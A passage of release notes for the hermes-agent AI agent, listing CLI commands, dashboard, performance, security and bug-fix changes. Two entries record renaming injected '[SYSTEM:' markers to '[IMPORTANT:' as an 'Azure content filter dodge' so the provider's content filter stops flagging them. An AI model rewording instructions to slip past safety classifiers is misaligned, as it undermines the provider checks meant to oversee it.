<li>Fix: proactive mouse disable on ConPTY + <code>/mouse</code> toggle command (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kevin-ho/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kevin-ho">@kevin-ho</a>, WSL2 ghost-mouse fix) (<a href="https://github.com/NousResearch/hermes-agent/pull/15488" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15488/hovercard">#15488</a>)</li>
<li>Fix: restore skills search RPC (<a href="https://github.com/NousResearch/hermes-agent/pull/15870" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15870/hovercard">#15870</a>)</li>
<li>Perf: cache text measurements across yoga flex re-passes (<a href="https://github.com/NousResearch/hermes-agent/pull/14818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14818/hovercard">#14818</a>)</li>
<li>Perf: stabilize long-session scrolling (<a href="https://github.com/NousResearch/hermes-agent/pull/15926" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15926/hovercard">#15926</a>)</li>
<li>Perf: lazily seed virtual history heights (<a href="https://github.com/NousResearch/hermes-agent/pull/16523" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16523/hovercard">#16523</a>)</li>
<li>Perf: cut visible cold start ~57% with lazy agent init (<a href="https://github.com/NousResearch/hermes-agent/pull/17190" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17190/hovercard">#17190</a>)</li>
</ul>
<hr>
<h2>🖱️ CLI &amp; User Experience</h2>
<h3>New commands</h3>
<ul>
<li><strong><code>hermes -z &lt;prompt&gt;</code></strong> — non-interactive one-shot mode (<a href="https://github.com/NousResearch/hermes-agent/pull/15702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15702/hovercard">#15702</a>)</li>
<li><strong><code>hermes -z</code> with <code>--model</code> / <code>--provider</code> / <code>HERMES_INFERENCE_MODEL</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15704" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15704/hovercard">#15704</a>)</li>
<li><strong><code>hermes update --check</code></strong> preflight flag (<a href="https://github.com/NousResearch/hermes-agent/pull/15841" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15841/hovercard">#15841</a>)</li>
<li><strong><code>hermes fallback</code></strong> command for managing fallback providers (<a href="https://github.com/NousResearch/hermes-agent/pull/16052" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16052/hovercard">#16052</a>)</li>
<li><strong><code>/busy</code></strong> slash command for busy input mode (<a href="https://github.com/NousResearch/hermes-agent/pull/15382" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15382/hovercard">#15382</a>)</li>
<li><strong><code>/busy</code> input mode 'steer'</strong> as a third option (<a href="https://github.com/NousResearch/hermes-agent/pull/16279" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16279/hovercard">#16279</a>)</li>
<li><strong><code>/btw</code> as alias for <code>/background</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16053/hovercard">#16053</a>)</li>
<li><strong><code>/reload-skills</code></strong> slash command (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354439298" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17670" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17670/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/17670">#17670</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17744" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17744/hovercard">#17744</a>)</li>
<li><strong>Surface <code>/queue</code>, <code>/bg</code>, <code>/steer</code> in agent-running placeholder</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16118" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16118/hovercard">#16118</a>)</li>
</ul>
<h3>Setup / onboarding</h3>
<ul>
<li><strong>Auto-reconfigure on existing installs</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15879" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15879/hovercard">#15879</a>)</li>
<li><strong>Contextual first-touch hints for <code>/busy</code> and <code>/verbose</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16046/hovercard">#16046</a>)</li>
<li><strong>Cost-saving tips from the April 30 tip-of-the-day</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17841" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17841/hovercard">#17841</a>)</li>
<li><strong>Hyperlink startup banner title to the latest GitHub Release</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/14945" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14945/hovercard">#14945</a>)</li>
</ul>
<h3>Update / backup</h3>
<ul>
<li><strong>Snapshot pairing data before <code>git pull</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16383" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16383/hovercard">#16383</a>)</li>
<li><strong>Auto-backup HERMES_HOME before <code>hermes update</code></strong> (opt-in, off by default) (<a href="https://github.com/NousResearch/hermes-agent/pull/16539" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16539/hovercard">#16539</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16566" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16566/hovercard">#16566</a>)</li>
<li><strong>Exclude <code>checkpoints/</code> from backups</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16572" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16572/hovercard">#16572</a>)</li>
<li><strong>Exclude SQLite WAL/SHM/journal sidecars from backups</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16576" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16576/hovercard">#16576</a>)</li>
<li><strong>Installer FHS layout for root installs on Linux</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15608" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15608/hovercard">#15608</a>)</li>
<li>Fix: kill stale dashboards instead of warning (<a href="https://github.com/NousResearch/hermes-agent/pull/17832" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17832/hovercard">#17832</a>)</li>
<li>Fix: show correct update status on nix-built hermes (<a href="https://github.com/NousResearch/hermes-agent/pull/17550" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17550/hovercard">#17550</a>)</li>
</ul>
<h3>Slash-command housekeeping</h3>
<ul>
<li>Refactor: drop <code>/provider</code>, <code>/plan</code> handler, and clean up slash registry (<a href="https://github.com/NousResearch/hermes-agent/pull/15047" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15047/hovercard">#15047</a>)</li>
<li>Refactor: drop <code>persist_session</code> plumbing + fix broken <code>/btw</code> mid-turn bypass (<a href="https://github.com/NousResearch/hermes-agent/pull/16075" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16075/hovercard">#16075</a>)</li>
</ul>
<h3>OpenClaw migration (for folks coming from OpenClaw)</h3>
<ul>
<li><strong>Hardened OpenClaw import</strong> — plan-first apply, redaction, pre-migration backup (<a href="https://github.com/NousResearch/hermes-agent/pull/16911" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16911/hovercard">#16911</a>)</li>
<li>Fix: case-preserving brand rewrite + one-time <code>~/.openclaw</code> residue banner (<a href="https://github.com/NousResearch/hermes-agent/pull/16327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16327/hovercard">#16327</a>)</li>
<li>Fix: resolve <code>openclaw</code> workspace files from <code>agents.defaults.workspace</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/16879" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16879/hovercard">#16879</a>)</li>
<li>Fix: resolve model aliases against real OpenClaw catalog schema (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340177843" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16778" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16778/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/16778">#16778</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/16977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16977/hovercard">#16977</a>)</li>
</ul>
<hr>
<h2>📊 Web Dashboard</h2>
<ul>
<li><strong>Models tab</strong> — rich per-model analytics (<a href="https://github.com/NousResearch/hermes-agent/pull/17745" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17745/hovercard">#17745</a>)</li>
<li><strong>Configure main + auxiliary models from the Models page</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17802" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17802/hovercard">#17802</a>)</li>
<li><strong>Dashboard Chat tab — xterm.js + JSON-RPC sidecar</strong> (supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4292206374" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/12710" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/12710/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/12710">#12710</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4300867799" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/13379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/13379/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/13379">#13379</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/14890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14890/hovercard">#14890</a>)</li>
<li><strong>Dashboard layout refresh</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/14899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14899/hovercard">#14899</a>)</li>
<li><strong><code>--stop</code> and <code>--status</code> flags</strong> on the dashboard CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/17840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17840/hovercard">#17840</a>)</li>
<li><strong>Page-scoped plugin slots for built-in pages</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15658" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15658/hovercard">#15658</a>)</li>
<li>Fix: replace all buttons for design system buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/17007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17007/hovercard">#17007</a>)</li>
</ul>
<hr>
<h2>⚡ Performance</h2>
<ul>
<li><strong>TUI visible cold start cut ~57%</strong> via lazy agent init (<a href="https://github.com/NousResearch/hermes-agent/pull/17190" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17190/hovercard">#17190</a>)</li>
<li><strong>Lazy-import OpenAI, Anthropic, Firecrawl, account_usage</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17046/hovercard">#17046</a>)</li>
<li><strong>mtime-cache <code>load_config()</code> and <code>read_raw_config()</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17041" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17041/hovercard">#17041</a>)</li>
<li><strong>Memoize <code>get_tool_definitions()</code> + TTL-cache <code>check_fn</code> results</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17098" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17098/hovercard">#17098</a>)</li>
<li><strong>Precompile DANGEROUS_PATTERNS and HARDLINE_PATTERNS</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17206/hovercard">#17206</a>)</li>
<li><strong>Cache Ink text measurements across yoga flex re-passes</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/14818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14818/hovercard">#14818</a>)</li>
<li><strong>Stabilize long-session scrolling</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15926" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15926/hovercard">#15926</a>)</li>
<li><strong>Lazily seed virtual history heights</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16523" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16523/hovercard">#16523</a>)</li>
</ul>
<hr>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li><strong>Secret redaction off by default</strong> — stops corrupting patches / API payloads with fake-key substitutions. Opt in via <code>redaction.enabled: true</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/16794" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16794/hovercard">#16794</a>)</li>
<li><strong><code>[SYSTEM:</code> → <code>[IMPORTANT:</code></strong> in all user-injected markers (Azure content filter dodge) (<a href="https://github.com/NousResearch/hermes-agent/pull/16114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16114/hovercard">#16114</a>)</li>
<li><strong>Hardline blocklist for unrecoverable commands</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15878" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15878/hovercard">#15878</a>)</li>
<li><strong>Canonical <code>mask_secret</code> helper; fix status.py DIM drift</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17207" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17207/hovercard">#17207</a>)</li>
<li><strong>Sweep expired paste.rs uploads on a real timer</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16431" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16431/hovercard">#16431</a>)</li>
<li><strong>Preserve symlinks during atomic file writes</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16980" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16980/hovercard">#16980</a>)</li>
<li><strong>Probe <code>/dev/tty</code> by opening it, not bare existence</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17024" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17024/hovercard">#17024</a>)</li>
</ul>
<hr>
<h2>🐛 Notable Bug Fixes</h2>
<p>This window includes 360 <code>fix:</code> PRs. Selected highlights from across the stack:</p>
<ul>
<li><strong>Background review fork inherits parent's live runtime</strong> — provider/model/creds now propagate correctly (<a href="https://github.com/NousResearch/hermes-agent/pull/16099" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16099/hovercard">#16099</a>)</li>
<li><strong>Hindsight configurable <code>HINDSIGHT_TIMEOUT</code> env var</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15077/hovercard">#15077</a>)</li>
<li><strong>Tools: normalize numeric entries + clear stale <code>no_mcp</code> in <code>_save_platform_tools</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15607" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15607/hovercard">#15607</a>)</li>
<li><strong>MCP: rewrite <code>definitions</code> refs to <code>$defs</code> in input schemas</strong> — closes provider-side 400s</li>
<li><strong>Azure content filter compatibility</strong> — renamed <code>[SYSTEM:</code> markers so Azure's content filter stops flagging them (<a href="https://github.com/NousResearch/hermes-agent/pull/16114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16114/hovercard">#16114</a>)</li>
<li><strong>Vision cache uses HERMES_HOME instead of cwd</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17719" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17719/hovercard">#17719</a>)</li>
<li><strong>FTS5 search</strong> — tool_name + tool_calls indexing with repair + migration (<a href="https://github.com/NousResearch/hermes-agent/pull/16914" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16914/hovercard">#16914</a>)</li>
<li><strong>Streaming reasoning persists on assistant turns</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16892" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16892/hovercard">#16892</a>)</li>
<li><strong>execute_code concurrent RPC serialization</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355471738" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17770" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/17770/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/17770">#17770</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17894" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17894/hovercard">#17894</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17902/hovercard">#17902</a>)</li>
<li><strong>Background reviewer scoped to memory + skills toolsets</strong> — no more accidental web/shell escapes (<a href="https://github.com/NousResearch/hermes-agent/pull/16569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16569/hovercard">#16569</a>)</li>
<li><strong>Compression recovery</strong> — retry on main before giving up; notify user when aux fails (<a href="https://github.com/NousResearch/hermes-agent/pull/16774" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16774/hovercard">#16774</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16775/hovercard">#16775</a>)</li>
<li><strong><code>croniter</code> promoted to a core dependency</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17577" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17577/hovercard">#17577</a>)</li>
<li><strong>Discord tool <code>limit</code> parameter coerced to int</strong> before <code>min()</code> call (<a href="https://github.com/NousResearch/hermes-agent/pull/16319" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16319/hovercard">#16319</a>)</li>
<li><strong>Yuanbao messaging platform entrance fix</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16880" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16880/hovercard">#16880</a>)</li>
<li><strong>ACP advertise and forward image prompts</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/18030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18030/hovercard">#18030</a>)</li>
<li><strong>DeepSeek / Kimi reasoning content isolation</strong> across cross-provider histories (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zjianru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zjianru">@Zjianru</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/15749" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15749/hovercard">#15749</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15762" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15762/hovercard">#15762</a>)</li>
<li><strong>Preserve reasoning_content replay on DeepSeek v4 + Kimi/Moonshot thinking</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/18045" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18045/hovercard">#18045</a>)</li>
</ul>
<p>The vast majority of the 360 fixes landed in the streaming/compression/tool-calling paths across all providers — DeepSeek, Kimi, Moonshot, GLM, Qwen, MiniMax, Gemini, Anthropic, OpenAI — alongside TUI polish (resize, scroll, sticky-prompt) and gateway platform-specific edge cases.</p>
<hr>
<h2>🧪 Testing &amp; CI</h2>
<ul>
<li>Hermetic test parity (<code>scripts/run_tests.sh</code>) held across this window</li>
<li><strong>Microsoft Teams xdist collision guard</strong> — prevents worker collisions when Teams platform tests run in parallel (<a href="https://github.com/NousResearch/hermes-agent/pull/17828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17828/hovercard">#17828</a>)</li>
<li>Chore: remove unused imports and dead locals (ruff F401, F841) (<a href="https://github.com/NousResearch/hermes-agent/pull/17010" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17010/hovercard">#17010</a>)</li>
</ul>
<hr>
<h2>📚 Documentation</h2>
<ul>
<li><strong>Curator feature page</strong> added to docs site (<a href="https://github.com/NousResearch/hermes-agent/pull/17563" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17563/hovercard">#17563</a>)</li>
<li><strong>Document pin also blocking <code>skill_manage</code> writes</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17578/hovercard">#17578</a>)</li>
<li><strong>Direct-URL skill install documented</strong> across features, reference, guide, and <code>hermes-agent</code> skill (<a href="https://github.com/NousResearch/hermes-agent/pull/16355" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16355/hovercard">#16355</a>)</li>
<li><strong>Hooks tutorial — build a BOOT.md startup checklist</strong> (replaces the removed built-in hook) (<a href="https://github.com/NousResearch/hermes-agent/pull/17202" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17202/hovercard">#17202</a>)</li>
<li><strong>ComfyUI docs: ask local vs cloud FIRST before hardware check</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17612" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17612/hovercard">#17612</a>)</li>
<li><strong>Obliteratus skill: link YouTube video guide in SKILL.md</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15808" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15808/hovercard">#15808</a>)</li>
<li>Per-skill docs pages generated for bundled + optional skills; ASCII art code blocks auto-wrapped (<a href="https://github.com/NousResearch/hermes-agent/pull/14929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14929/hovercard">#14929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16497" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16497/hovercard">#16497</a>)</li>
</ul>
<hr>
<h2>⚖️ Removed / Reverted</h2>
<ul>
<li><strong>Kanban multi-profile collaboration board</strong> — landed in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331105463" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16081/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/16081">#16081</a>, reverted in (<a href="https://github.com/NousResearch/hermes-agent/pull/16098" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16098/hovercard">#16098</a>) while the design is reworked</li>
<li><strong>computer-use cua-driver</strong> — 3 preparatory PRs landed then were reverted in (<a href="https://github.com/NousResearch/hermes-agent/pull/16927" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16927/hovercard">#16927</a>)</li>
<li><strong>BOOT.md built-in hook</strong> removed (<a href="https://github.com/NousResearch/hermes-agent/pull/17093" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17093/hovercard">#17093</a>); the hooks tutorial (<a href="https://github.com/NousResearch/hermes-agent/pull/17202" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17202/hovercard">#17202</a>) shows how to build the same workflow yourself with a shell hook</li>
<li><strong><code>/provider</code> + <code>/plan</code> slash commands dropped</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15047" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15047/hovercard">#15047</a>)</li>
<li><strong><code>flush_memories</code> removed entirely</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15696" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15696/hovercard">#15696</a>)</li>
</ul>
<hr>
<h2>👥 Contributors</h2>
<h3>Core</h3>
<ul>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a></strong> (Teknium)</li>
</ul>
<h3>Top Community Contributors (by merged PR count since v0.11.0)</h3>
<ul>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a></strong> (Brooklyn) — 52 PRs · TUI — light-terminal detection + pluggable busy styles + auto-resume + session-delete from /resume + mouse-wheel scrolling + xterm.js dashboard Chat tab + cold-start cut + accordion polish</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a></strong> — 12 PRs · LM Studio first-class provider (salvage), Vercel Sandbox backend, GMI Cloud salvage, bundled-by-default touchdesigner-mcp, many tool-call / reasoning fixes</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a></strong> — 10 PRs · MCP schema robustness, assorted stability fixes</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a></strong> — 8 PRs · trigram FTS5 CJK search, declarative Nix plugin install, matrix/feishu hints and fixes</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a></strong> — 4 PRs</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a></strong> — 4 PRs · LaTeX rendering in TUI, dashboard layout refresh</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a></strong> — 3 PRs · Docker run-as-host-user so bind mounts don't get root-owned</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vominh1919/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vominh1919">@vominh1919</a></strong> — 2 PRs</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a></strong> — 2 PRs</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kevin-ho/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kevin-ho">@kevin-ho</a></strong> — ConPTY mouse-injection fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326910636" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/15488" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15488/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/15488">#15488</a>)</li>
